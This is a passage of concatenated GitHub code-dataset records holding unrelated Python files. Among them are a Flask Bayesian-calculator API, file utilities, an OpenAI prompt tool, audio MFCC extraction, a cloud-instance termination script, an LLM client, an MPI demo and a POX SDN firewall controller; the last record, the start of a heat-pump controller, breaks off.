fig.to_html(full_html=False)\n \nclass Plot(Resource):\n def post(self):\n #!TODO: make it work for other sizes\n x = [i for i in range(10) for j in range(10)]\n y = [j for i in range(10) for j in range(10)]\n ppv = request.get_json()\n N = len(x)\n red_stop = floor(N*ppv['ppvl'])\n orange_stop = floor(N*ppv['ppvr'])\n\n\n \n red_x = x[0:red_stop]\n red_y = y[0:red_stop]\n orange_x = x[red_stop:orange_stop]\n orange_y = y[red_stop:orange_stop] \n green_x = x[orange_stop:]\n green_y = y[orange_stop:]\n print(1)\n return {\n 'red_x' : red_x,\n 'red_y' : red_y,\n 'orange_x' : orange_x,\n 'orange_y' : orange_y,\n 'green_x' : green_x,\n 'green_y' : green_y,\n } \n\ndef string2interval(JSint):\n if '[' in JSint:\n Int = JSint.replace('[','').replace(']','').split(',')\n Int = [float(i) for i in Int]\n elif isinstance(JSint, float):\n Int = JSint\n return Interval(Int)\n\nclass Whatiftest(Resource):\n def post(self):\n json_data = request.get_json() \n print('Sense: {}'.format(json_data['sensitivity']))\n print('Sense: {}'.format(json_data['specificity']))\n print(json_data['ppv'])\n PPV = string2interval(json_data['ppv']) #json_data['ppv'].replace('[','').replace(']','').split(',')\n print(PPV)\n #TODO make sens spec interval and float sensitive \n \n test = Test(json_data['sensitivity'],json_data['specificity'],PPV)\n #test\n Yes, No = test.what_if()\n return {'sensitivity':json_data['sensitivity'],\n 'specificity':json_data['specificity'],\n 'PPV_YES':'[%.3f,%.3f]'%(Yes.left,Yes.right),\n 'PPV_NO':'[%.3f,%.3f]'%(No.left,No.right)}\n\n\nclass TestResult(Resource):\n \n def post(self):\n json_data = request.get_json() \n print(10*'\\n')\n PPV = string2interval(json_data['ppv']) #json_data['ppv'].replace('[','').replace(']','').split(',')\n Sense = string2interval(json_data['sensitivity'])\n Spec = string2interval(json_data['specificity'])\n \n print('Sense: {}'.format(Sense))\n print('spec: {}'.format(Spec))\n print(json_data['ppv'])\n print(PPV)\n #TODO make sens spec interval and float sensitive \n \n test = Test(Sense,Spec,PPV)\n #test\n result = test.test_results(Interval(json_data['result']))\n return {'sensitivity':json_data['sensitivity'],\n 'specificity':json_data['specificity'],\n 'postTestPPV':'[%.3f,%.3f]'%(result.left,result.right),}\n\n\napi.add_resource(Submit, '/Submit')\napi.add_resource(Start,\"/Start\")\napi.add_resource(Whatiftest,\"/testthetest\")\napi.add_resource(TestResult,'/testresult')\napi.add_resource(Plot,'/Plot')\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"dominiccalleja/BayesCalc-archive","sub_path":"application/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32172456935","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n#\n# @Description:\n# @PreInstall: Pillow\n# @Author : bajins https://www.bajins.com\n# @File : file_util.py\n# @Version: 1.0.0\n# @Time : 2019/8/21 15:32\n# @Project: windows-wallpaper-python\n# @Package: \n# @Software: PyCharm\nimport configparser\nimport os\nimport stat\nimport time\nimport zipfile\n\nfrom shutil import copy\n\n# pip install Pillow\nfrom PIL import Image\n\nfrom . import string_util\n\n\ndef path_join(*path):\n \"\"\"\n 路径拼接\n :param path:路径字符串数组\n :return:\n \"\"\"\n final_path = \"\"\n for i in range(len(path)):\n p = path[i]\n if string_util.is_empty(p):\n continue\n if string_util.check_startswith(p):\n p = p[1:]\n if string_util.check_endswith(p):\n p = p[:-1]\n if i == 0:\n final_path = p\n else:\n final_path = os.path.join(final_path, p)\n\n\ndef image_to_bmp(image_path):\n \"\"\"\n 转换图片为bmp格式\n :param image_path:\n :return:\n \"\"\"\n # 分割路径和文件名\n filepath, filename = os.path.split(image_path)\n # 分割文件的名字和后缀\n filename, extension = os.path.splitext(filename)\n # 替换文件后缀组成新的路径\n new_path = image_path.replace(extension, '.bmp')\n # 打开图片\n bmp_image = Image.open(image_path)\n # 保存为bmp\n bmp_image.save(new_path, \"BMP\")\n return new_path\n\n\ndef replace_file_content(file, old_str, new_str):\n \"\"\"\n 替换文件中的字符串\n :param file:文件名\n :param old_str:旧字符串\n :param new_str:新字符串\n :return:\n \"\"\"\n file_data = \"\"\n with open(file, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n if old_str in line:\n line = line.replace(old_str, new_str)\n file_data += line\n with open(file, \"w\", encoding=\"utf-8\") as f:\n f.write(file_data)\n\n\ndef zip_extract(file_path, pwd):\n \"\"\"\n 解压zip文件\n :param file_path: zip文件路径\n :param pwd: 解压目的地目录\n :return:\n \"\"\"\n zip_file = zipfile.ZipFile(file_path, \"r\")\n # ZipFile.namelist(): 获取ZIP文档内所有文件的名称列表\n for fileM in zip_file.namelist():\n zip_file.extract(fileM, pwd)\n zip_file.close()\n\n\ndef parent_path(file):\n \"\"\"\n 获取文件的父级目录\n :param file:文件\n :return:\n \"\"\"\n return os.path.dirname(os.path.dirname(file))\n\n\ndef remove_read_only(filename):\n \"\"\"\n 清除文件的只读标记\n stat.S_IREAD: windows下设为只读\n stat.S_IWRITE: windows下取消只读\n stat.S_IROTH: 其他用户有读权限\n stat.S_IRGRP: 组用户有读权限\n stat.S_IRUSR: 拥有者具有读权限\n :param filename:\n :return:\n \"\"\"\n os.chmod(filename, stat.S_IWRITE)\n\n\ndef read_file(file_path):\n \"\"\"\n 读取文件内容\n :param file_path: 文件全路径\n :return:\n \"\"\"\n # 一次性读入txt文件，并把内容放在变量lines中\n with open(file_path) as lines:\n # 返回的是一个列表，该列表每一个元素是txt文件的每一行\n return lines.readlines()\n\n\ndef read_file_remove_line_feed(file_path):\n \"\"\"\n 读取文件内容并删除换行符\n :param file_path: 文件全路径\n :return:\n \"\"\"\n # 一次性读入txt文件，并把内容放在变量lines中\n with open(file_path) as lines:\n # 返回的是一个列表，该列表每一个元素是txt文件的每一行\n array = lines.readlines()\n # 使用一个新的列表来装去除换行符\\n后的数据\n array2 = []\n # 遍历array中的每个元素\n for i in array:\n # 去掉换行符\\n\n i = i.strip('\\n')\n # 把去掉换行符的数据放入array2中\n array2.append(i)\n return array2\n\n\ndef write_temp(file_path, lines):\n \"\"\"\n 创建临时文件 import tempfile\n :param file_path:文件全路径\n :param lines:内容\n :return:\n \"\"\"\n with open(file_path, 'wt') as f:\n f.writelines(lines)\n return f.name\n\n\ndef write_lines(file_path, lines):\n \"\"\"\n 覆盖文件内容，在文件中写入多行\n :param file_path: 文件全路径\n :param lines: 写入内容数组\n :return:\n \"\"\"\n with open(file_path, \"w+\") as f:\n f.writelines(lines)\n f.close()\n\n\ndef delete_size(min_size):\n \"\"\"\n 删除小于指定值的文件（单位：K）\n :param min_size:\n :return:\n \"\"\"\n # 列出目录下的文件\n files = os.listdir(os.getcwd())\n for file in files:\n if os.path.getsize(file) < min_size * 1000:\n # 删除文件\n os.remove(file)\n print(file + \" deleted\")\n return\n\n\ndef delete_null_file():\n \"\"\"\n 删除所有大小为0的文件\n :return:\n \"\"\"\n files = os.listdir(os.getcwd())\n for file in files:\n # 获取文件大小\n if os.path.getsize(file) == 0:\n os.remove(file)\n print(file + \" deleted.\")\n return\n\n\ndef create_file(suffix):\n \"\"\"\n 根据本地时间创建指定后缀的新文件，如果已存在则不创建\n :param suffix: 后缀\n :return:\n \"\"\"\n # 将指定格式的当前时间以字符串输出\n t = time.strftime('%Y-%m-%d', time.localtime())\n new_file = t + suffix\n if not os.path.exists(new_file):\n f = open(new_file, 'w')\n print(new_file)\n f.close()\n print(new_file + \" created.\")\n\n else:\n print(new_file + \" already existed.\")\n\n\nclass Config:\n def __init__(self, filename):\n \"\"\"\n 配置初始化\n :param filename:配置文件全路径\n \"\"\"\n self.filename = filename\n\n def read(self):\n \"\"\"\n 获取配置文件\n :return:\n \"\"\"\n if self.filename == \"\" or self.filename is None:\n raise ValueError(\"请输入正确的配置文件名！\")\n if not os.path.exists(self.filename):\n raise ValueError(\"配置文件不存在！\")\n\n config = configparser.ConfigParser()\n config.read(self.filename)\n return config\n\n def sections(self):\n \"\"\"\n 获取配置组名\n :return:\n \"\"\"\n return self.read().sections()\n\n def get(self, section, key=None):\n \"\"\"\n 获取配置值\n :param section: 配置组名称\n :param key: 配置组中的配置名\n :return:\n \"\"\"\n if section == \"\" or section is None:\n raise ValueError(\"配置组名不能为空！\")\n if key != \"\" and key is not None:\n return self.read()[section][key]\n\n return self.read()[section]\n\n\ndef count_dir_size(dir_path):\n \"\"\"\n 获取目录大小\n :param dir_path: 目录\n :return:\n \"\"\"\n size = 0\n for root, dirs, files in os.walk(dir_path):\n size += sum([os.path.getsize(os.path.join(root, name)) for name in files])\n return size\n\n\ndef size_unit_format(size, is_speed=False, precision=2):\n \"\"\"\n 文件大小自动转换\n byte ---- (B)\n kilobyte ---- (KB)\n megabyte ---- (MB)\n gigabyte ---- (GB)\n terabyte ---- (TB)\n petabyte ---- (PB)\n exabyte ---- (EB)\n zettabyte ---- (ZB)\n yottabyte ---- (YB)\n :param size: 大小\n :param is_speed: 是否为传输速率计算(bps/bit)\n :param precision: 精确到小数点位数\n :return:\n \"\"\"\n if not (isinstance(size, float) or isinstance(size, int)):\n raise TypeError('需要浮点数或整数！')\n if size <= 0:\n raise ValueError('数字必须大于零')\n formats = ['KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']\n unit = 1000.0 if is_speed else 1024.0\n for i in formats:\n size /= unit\n if size < unit:\n return f'{round(size, precision)}{i}'\n return f'{round(size, precision)}{i}'\n\n\ndef copy_dir(dir, newdir):\n \"\"\"\n 复制目录到指定位置\n import shutil\n shutil.copytree(user_data, mkdtemp, True)\n import distutils.dir_util\n distutils.dir_util.copy_tree(user_data, mkdtemp)\n :param dir: 需拷贝的文件夹\n :param newdir: 是拷贝的地方\n :return:\n \"\"\"\n for p in os.listdir(dir):\n filepath = os.path.join(newdir, p)\n old_path = os.path.join(dir, p)\n if os.path.isdir(old_path):\n os.mkdir(filepath)\n copy_dir(old_path, filepath)\n if os.path.isfile(old_path):\n copy(old_path, filepath)\n","repo_name":"bajins/scripts_python","sub_path":"utils/file_util.py","file_name":"file_util.py","file_ext":"py","file_size_in_byte":8500,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"37613078676","text":"import argparse\nimport copy\nimport os\nimport openai\nimport ruamel.yaml as yaml\nimport time\n\nDEFAULT_ENGINE_EDIT = 'text-davinci-edit-001'\nDEFAULT_ENGINE_COMPLETION = 'text-davinci-002'\n\nyaml.allow_unicode = True\nyaml.width = 80\n\ndef setApiKey():\n try:\n import secretenvvars\n openai.api_key = secretenvvars.openai_api_key\n except ImportError:\n openai.api_key = os.environ.get(\"OPENAI_API_KEY\")\n if not openai.api_key:\n print(\"API key not found\")\n return False\n return True\n\ndef generate(promptFile):\n with open(promptFile) as promptsRead:\n rawPrompts = yaml.safe_load(promptsRead)\n newPrompt = rawPrompts[-1]\n if 'output' in newPrompt:\n newPrompt = copy.deepcopy(newPrompt)\n rawPrompts.append(newPrompt)\n if 'instruction' in newPrompt:\n # engine = 'code-davinci-edit-001'\n engine = newPrompt.get('engine', DEFAULT_ENGINE_EDIT)\n temperature = 0.7\n response = openai.Edit.create(engine=engine, input=newPrompt[\"input\"], instruction=newPrompt[\"instruction\"], temperature=temperature)\n newPrompt['output'] = response.choices[0].text.strip()\n else:\n engine = newPrompt.get('engine', DEFAULT_ENGINE_COMPLETION)\n input = newPrompt['input']\n top_p = 0.9\n temperature = 0.9\n output = get_completion(input, temperature, top_p)\n one_new = dict(top_p=top_p, temperature=temperature, output=output)\n rawPrompts.append(one_new)\n with open(promptFile, 'w') as promptsToWrite:\n yaml.dump(rawPrompts, promptsToWrite, default_style=\"|\")\n\n\ndef get_completion(input, temperature, top_p):\n time.sleep(2)\n response = openai.Completion.create(engine=DEFAULT_ENGINE_COMPLETION, prompt=input, temperature=temperature, max_tokens=256, frequency_penalty=1, top_p=top_p)\n return response.choices[0].text.strip()\n\ndef listEngines():\n engines = openai.Engine.list()\n engineNames = [engine.id for engine in engines.data]\n print(engineNames)\n\ndef parseArgs():\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest=\"subcommand\")\n parserNew = subparsers.add_parser(\"new\", help=\"Create new prompt file\")\n parserGen = subparsers.add_parser(\"gen\", help=\"Generate new output from prompt\")\n parserListEngines = subparsers.add_parser(\"listEngines\")\n parserGen.add_argument(\"promptFile\")\n\n args = parser.parse_args()\n if not setApiKey():\n return\n if args.subcommand == \"gen\":\n generate(args.promptFile)\n elif args.subcommand == \"listEngines\":\n listEngines()\n else:\n print(\"TODO: finish arg parsing\")\n\n\nif __name__ == \"__main__\":\n parseArgs()","repo_name":"makeart-ai/prompt-engineering","sub_path":"oldmain.py","file_name":"oldmain.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"39024562125","text":"import os\nimport sys\nimport tqdm\nimport numpy as np\nimport librosa\nfrom matplotlib import pyplot as plt\n \nroot = \"./dataset/abaw5/\"\n\n\ndata_types = ['train', 'val', 'test']\ndir_name = 'mfcc_align'\n\nfor dt in data_types:\n print(dt)\n\n wav_files = os.listdir(os.path.join(root, \"raw\", dt, \"wav\"))\n wav_files = sorted(wav_files)\n\n save_path = os.path.join(root, \"features\", dir_name, dt)\n\n if not os.path.exists(save_path):\n os.makedirs(save_path, exist_ok=True)\n\n for wav in tqdm.tqdm(wav_files, desc=\"extracting mfcc features\") :\n input_path = os.path.join(root, \"raw\", dt, \"wav\", wav)\n output_path = os.path.join(save_path, wav.replace(\".wav\", \".npy\"))\n\n feat_path = output_path.replace(dir_name, 'res18_aff')\n feat_array = np.load(feat_path)\n nv = feat_array.shape[0]\n\n y, sr = librosa.load(input_path, sr=None)\n # mfccs = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=128)\n \n hop_l = int(np.ceil(len(y) / nv))\n audio_mfccs = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=40, n_fft=1024, hop_length=hop_l, pad_mode='reflect', htk=True)\n\n na = audio_mfccs.shape[1]\n\n if na != nv:\n if na < nv:\n audio_mfccs = np.concatenate([audio_mfccs, audio_mfccs[:, na-nv:]], axis=-1)\n else:\n audio_mfccs = audio_mfccs[:, :nv]\n\n # audio_mfccs = audio_mfccs.reshape(-1, 40)\n aud = audio_mfccs[8:].transpose(1, 0)\n np.save(output_path, aud)\n\n print(\"finish ALL\", dt)\n\n ","repo_name":"HKUST-NISL/ABAW5","sub_path":"tools/extract_mfcc_align.py","file_name":"extract_mfcc_align.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19996201349","text":"#!/usr/bin/env python3\n\"\"\"\nterminates instances and purges them from known_hosts\n\"\"\"\n# standard library modules\nimport argparse\nimport json\nimport logging\nimport os\nimport signal\nimport subprocess\nimport sys\n# third-part\nimport psutil\n# neocortix modules\nimport ncscli.ncs as ncs\n\nlogger = logging.getLogger(__name__)\n\n\ndef findForwarders():\n mappings = []\n for proc in psutil.process_iter():\n try:\n procInfo = proc.as_dict(attrs=['pid', 'name', 'cmdline'])\n except psutil.NoSuchProcess:\n continue\n if 'ssh' == procInfo['name']:\n #logger.info( 'procInfo: %s', procInfo )\n cmdLine = procInfo['cmdline']\n #logger.info( 'cmdLine: %s', cmdLine )\n #TODO maybe a better way to identify forwarders\n if '-fNT' in cmdLine:\n mapping = {}\n for arg in cmdLine:\n # 'neocortix.com' is expected in the hostname of each NCS instance\n if 'neocortix.com' in arg:\n host = arg.split('@')[1]\n #logger.info( 'forwarding to host %s', host )\n mapping['host'] = host\n mapping['pid'] = procInfo['pid']\n if ':localhost:' in arg:\n part = arg.split( ':localhost:')[0].split(':')[1]\n assignedPort = int( part )\n #logger.info( 'forwarding port %d', assignedPort)\n mapping['port'] = assignedPort\n if mapping:\n #logger.debug( 'forwarding port %d to %s', mapping['port'], mapping['host'] )\n mappings.append( mapping )\n #logger.info( 'mappings: %s', mappings )\n return mappings\n\n\nif __name__ == \"__main__\":\n logFmt = '%(asctime)s %(levelname)s %(module)s %(funcName)s %(message)s'\n logDateFmt = '%Y/%m/%d %H:%M:%S'\n formatter = logging.Formatter(fmt=logFmt, datefmt=logDateFmt )\n logging.basicConfig(format=logFmt, datefmt=logDateFmt)\n logger.setLevel(logging.INFO)\n logger.debug( 'the logger is configured' )\n\n ap = argparse.ArgumentParser( description=__doc__, fromfile_prefix_chars='@' )\n ap.add_argument( 'inFilePath', help='file path of json instance descriptions' )\n ap.add_argument( '--authToken', help='the NCS authorization token to use (default uses env var)' )\n args = ap.parse_args()\n\n # use authToken env var if none given as arg\n authToken = args.authToken or os.getenv('NCS_AUTH_TOKEN')\n if not authToken:\n logger.error( 'no authToken given, so not terminating')\n sys.exit(1)\n inFilePath = args.inFilePath\n if os.path.isdir( inFilePath ):\n inFilePath = os.path.join( inFilePath, 'recruitLaunched.json' )\n logger.debug( 'a directory path was given; reading from %s', inFilePath )\n respCode = None\n with open( inFilePath ) as inFile:\n instances = json.load( inFile )\n if not instances:\n logger.info( 'no instances found' )\n respCode = 204\n else:\n forwarders = findForwarders()\n forwardersByHost = { fw['host']: fw for fw in forwarders }\n for inst in instances:\n iid = inst['instanceId']\n instHost = inst['ssh']['host']\n if instHost in forwardersByHost:\n pid = forwardersByHost[instHost].get('pid')\n if pid:\n logger.debug( 'cancelling forwarding (pid %d) for %s', pid, iid[0:8] )\n os.kill( pid, signal.SIGTERM )\n\n jobId = instances[0].get('job')\n # terminate only if there's a job id\n if jobId:\n logger.info( 'terminating instances for job %s', jobId )\n respCode = ncs.terminateJobInstances( authToken, jobId )\n else:\n logger.warning( 'no job id in instances file')\n respCode = 500\n ncs.purgeKnownHosts( instances )\n if respCode in [200, 204]:\n logger.info( 'finished' )\n sys.exit(0)\n else:\n logger.error( 'error code: %s', respCode )\n sys.exit(2)\n","repo_name":"neocortix/ncscli","sub_path":"examples/neoload/terminateAgents.py","file_name":"terminateAgents.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"22733852182","text":"import requests\nfrom typing import List\nimport numpy as np\n\n\ndef raise_if_http_error(response : requests.Response) -> None:\n\n if response.status_code >= 300:\n raise requests.HTTPError(\n f\"Server returned status code {response.status_code}. Stated reason is : {response.reason}\"\n )\n\n\nclass LocalLLMClient:\n\n def __init__(self, url : str, prompt_template = \"{prompt}\", verbose : bool = True):\n\n self.url = url\n self.prompt_template = prompt_template\n self.verbose = verbose\n\n # pinging the server to check connection\n res = requests.get(url + \"/ping\")\n if res.status_code >= 300:\n raise requests.HTTPError(f\"Could not connect to server. Status code = {res.status_code}, reason = {res.reason}\")\n \n if self.verbose:\n print(\"Connected to server!\")\n\n def prompt_request(self, prompt : str, temperature : float = 1, stop : List[str] | None = None ):\n\n payload = {\n \"prompt\" : self.prompt_template.format(prompt = prompt), \n \"temperature\" : temperature, \n \"stop\" : stop\n }\n\n response = requests.post(self.url + \"/prompt/\", json = payload)\n\n raise_if_http_error(response)\n\n return response.json()[\"message\"]\n \n def streaming_prompt_request(self, prompt : str, temperature : float = 1, stop : List[str] | None = None ):\n\n payload = {\n \"prompt\" : self.prompt_template.format(prompt = prompt), \n \"temperature\" : temperature, \n \"stop\" : stop\n }\n\n with requests.Session() as session:\n with session.post(self.url + \"/prompt-streaming\", json = payload, stream = True) as resp:\n token : bytes\n for token in resp.iter_content(None):\n if token:\n yield token.decode('utf-8')\n\n\n def __call__(self, prompt : str, temperature : float = 1, stop : List[str] | None = None, stream = False):\n\n if stream:\n return self.streaming_prompt_request(prompt, temperature, stop)\n else:\n return self.prompt_request(prompt, temperature, stop)\n\n\nclass LocalEmbeddingsClient:\n\n def __init__(self, url : str, verbose : bool = True):\n \n self.url = url\n self.verbose = verbose\n\n # pinging the server to check connection\n res = requests.get(url + \"/ping\")\n if res.status_code >= 300:\n raise requests.HTTPError(f\"Could not connect to server. Status code = {res.status_code}, reason = {res.reason}\")\n \n if self.verbose:\n print(\"Connected to server!\")\n\n def encode(self, sentences : str | List[str]) -> np.ndarray:\n\n if isinstance(sentences, str):\n sentences = [sentences]\n elif not isinstance(sentences, list) or any(not isinstance(sentence, str) for sentence in sentences):\n raise ValueError(\"The sentences argument must be a string or a list of strings\")\n \n payload = {\"sentences\" : sentences}\n\n response = requests.post(self.url + \"/encode/\", json = payload)\n\n raise_if_http_error(response)\n\n return np.array(response.json()[\"embeddings\"])\n\n\n\nif __name__ == \"__main__\":\n\n llm = LocalLLMClient(\"http://127.0.0.1:8000\", prompt_template = \"[INST] {prompt} [/INST]\")\n\n for token in llm(\n \"Tell me a short story about how Brazil got its independence\",\n stream= True\n ):\n \n print(token, end=\"\", flush=True)\n print()\n\n encoder = LocalEmbeddingsClient(\"http://127.0.0.1:8000\")\n\n encoding = encoder.encode(\"bunda mole e seca\")\n sentences = [\"opa gangnam style\", \"arroz com feijão é gosotosão\", \"le fish au chocolat\"]\n many_encodings = encoder.encode(sentences)\n\n\n print(encoding)\n print(\"-\" * 10)\n print(many_encodings)\n\n i = np.argmax([np.dot(encoding, encoding2) for encoding2 in many_encodings])\n\n print(sentences[i])\n","repo_name":"TheodoroADS/simple-llm-server","sub_path":"client/llm_client/llm_client.py","file_name":"llm_client.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1865028551","text":"import mpi4py.MPI as MPI\nimport numpy as np\n\n'''\nrecvbuf = comm.scatter(sendbuf, rank_of_root_process)\n'''\n\ncomm = MPI.COMM_WORLD # 通过命令行传入的参数np，调用MS-MPI获得一个通讯组，该通讯组定��了一组互相发消息的进程\ncomm_rank = comm.Get_rank() # 为每一个进程分配一个rank\ncomm_size = comm.Get_size() # 这组进程中共有comm_size个进程\n\nif comm_rank == 0:\n # 一定要确保data的长度是np的数量\n data = np.random.rand(comm_size, 3)\n # data = [i for i in range(comm_size)]\n # data = [[1], [2], [3], [4]]\n print(\"all data by rank %d : \" % comm_rank)\n print(data)\nelse:\n data = None\n\nlocal_data = comm.scatter(data, root=0)\nprint(\"rank %d, got : \" % comm_rank)\nprint(local_data) # 接收进程通过local_data获得root节点散播的数据\n","repo_name":"sunlinzhao/PBFT-Demo","sub_path":"demo/Collective_communication/scatter.py","file_name":"scatter.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22902534015","text":"while True:\n n = int(input())\n answer = []\n if n == -1:\n quit()\n for num in range(1, n):\n if n % num == 0:\n answer.append(num)\n if sum(answer) == n:\n bot = \" + \".join(list(map(str, answer)))\n print(f\"{str(n)} = {bot}\")\n else:\n print(f\"{n} is NOT perfect.\")","repo_name":"justinkmoon1/Baekjoon1","sub_path":"9506 약수들의 합.py","file_name":"9506 약수들의 합.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73107400040","text":"# Final Skeleton\n#\n# Hints/Reminders from Lab 3:\n#\n# To check the source and destination of an IP packet, you can use\n# the header information... For example:\n#\n# ip_header = packet.find('ipv4')\n#\n# if ip_header.srcip == \"1.1.1.1\":\n# print \"Packet is from 1.1.1.1\"\n#\n# Important Note: the \"is\" comparison DOES NOT work for IP address\n# comparisons in this way. You must use ==.\n# \n# To send an OpenFlow Message telling a switch to send packets out a\n# port, do the following, replacing with the port number the \n# switch should send the packets out:\n#\n# msg = of.ofp_flow_mod()\n# msg.match = of.ofp_match.from_packet(packet)\n# msg.idle_timeout = 30\n# msg.hard_timeout = 30\n#\n# msg.actions.append(of.ofp_action_output(port = ))\n# msg.data = packet_in\n# self.connection.send(msg)\n#\n# To drop packets, simply omit the action.\n#\n\nfrom pox.core import core\nimport pox.openflow.libopenflow_01 as of\n\nlog = core.getLogger()\n\nclass Final (object):\n \"\"\"\n A Firewall object is created for each switch that connects.\n A Connection object for that switch is passed to the __init__ function.\n \"\"\"\n def __init__ (self, connection):\n # Keep track of the connection to the switch so that we can\n # send it messages!\n self.connection = connection\n\n # This binds our PacketIn event listener\n connection.addListeners(self)\n\n def do_final (self, packet, packet_in, port_on_switch, switch_id):\n # This is where you'll put your code. The following modifications have \n # been made from Lab 3:\n\n ip_header = packet.find('ipv4')\n arp_packet = packet.find('arp')\n tcp_packet = packet.find('tcp')\n icmp_packet = packet.find('icmp')\n\n\n\n if ip_header is not None:\n\n # case of icmp packet\n if icmp_packet is not None:\n\n #switch 1\n if switch_id == 1:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to host 1\n if ip_header.dstip == \"10.1.1.10\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 1\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n \n #switch 2\n elif switch_id == 2:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to host 2\n if ip_header.dstip == \"10.2.2.20\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 2\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n \n\n elif switch_id == 3:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to host 3\n if ip_header.dstip == \"10.3.3.30\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 3\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n \n\n elif switch_id == 5:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n # if packet is being sent to h5\n if ip_header.dstip == \"10.5.5.50\":\n msg.actions.append(of.ofp_action_output(port=1)) # send to host 5\n self.connection.send(msg)\n else:\n msg.actions.append(of.ofp_action_output(port=2)) # send to core switch\n self.connection.send(msg)\n\n \n elif switch_id == 4:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n\n\n #untrusted host to server\n if ip_header.srcip == \"123.45.67.89\" and ip_header.dstip == \"10.5.5.50\":\n self.connection.send(msg)\n\n #server to untrusted host\n elif ip_header.srcip == \"10.5.5.50\" and ip_header.dstip == \"123.45.67.89\":\n msg.actions.append(of.ofp_action_output(port=1)) \n self.connection.send(msg)\n #untrusted host to any internal host\n elif ip_header.srcip == \"123.45.67.89\":\n #block\n self.connection.send(msg)\n\n #h5\n elif ip_header.dstip == \"10.5.5.50\":\n msg.actions.append(of.ofp_action_output(port=8)) \n self.connection.send(msg)\n #h3\n elif ip_header.dstip == \"10.3.3.30\":\n msg.actions.append(of.ofp_action_output(port=7)) \n self.connection.send(msg)\n #h2\n elif ip_header.dstip == \"10.2.2.20\":\n msg.actions.append(of.ofp_action_output(port=6)) \n self.connection.send(msg)\n #h1\n elif ip_header.dstip == \"10.1.1.10\":\n msg.actions.append(of.ofp_action_output(port=5)) \n self.connection.send(msg)\n #send to untrusted host from any internal host\n elif ip_header.dstip == \"123.45.67.89\":\n msg.actions.append(of.ofp_action_output(port=2)) \n self.connection.send(msg)\n else:\n self.connection.send(msg)\n \n \n #ARP packets\n elif arp_packet is not None:\n msg = of.ofp_flow_mod()\n msg.match = of.ofp_match.from_packet(packet)\n msg.idle_timeout = 300\n msg.hard_timeout = 300\n msg.data = packet_in\n msg.actions.append(of.ofp_action_output(port=of.OFPP_FLOOD))\n self.connection.send(msg)\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n # - port_on_switch: represents the port that the packet was received on.\n # - switch_id represents the id of the switch that received the packet.\n # (for example, s1 would have switch_id == 1, s2 would have switch_id == 2, etc...)\n # You should use these to determine where a packet came from. To figure out where a packet \n # is going, you can use the IP header information.\n \n\n def _handle_PacketIn (self, event):\n \"\"\"\n Handles packet in messages from the switch.\n \"\"\"\n packet = event.parsed # This is the parsed packet data.\n if not packet.parsed:\n log.warning(\"Ignoring incomplete packet\")\n return\n\n packet_in = event.ofp # The actual ofp_packet_in message.\n self.do_final(packet, packet_in, event.port, event.dpid)\n\ndef launch ():\n \"\"\"\n Starts the component\n \"\"\"\n def start_switch (event):\n log.debug(\"Controlling %s\" % (event.connection,))\n Final(event.connection)\n core.openflow.addListenerByName(\"ConnectionUp\", start_switch)\n","repo_name":"ambrosehundal/SimpleRouter","sub_path":"finalcontroller_skel.py","file_name":"finalcontroller_skel.py","file_ext":"py","file_size_in_byte":7102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"35200275202","text":"# -- coding: utf-8 --\n\"\"\"\n\nThis is a program to control a heat pump and make it work harder when the energy price is low.\nIt gets two APIs: one for the energy price for every hour of the current day,\nand the other for the weather.\nThen it determines if it's low enough to send the output of a Raspberry Pi\ninto the controller of the heating system.\n\nSome code is commented out because RPI.GPIO needs a raspberry to function.\n\n\"\"\"\n\nimport json\nfrom datetime import datetime, date\nimport time\nimport requests\nimport schedule\n\n\nimport 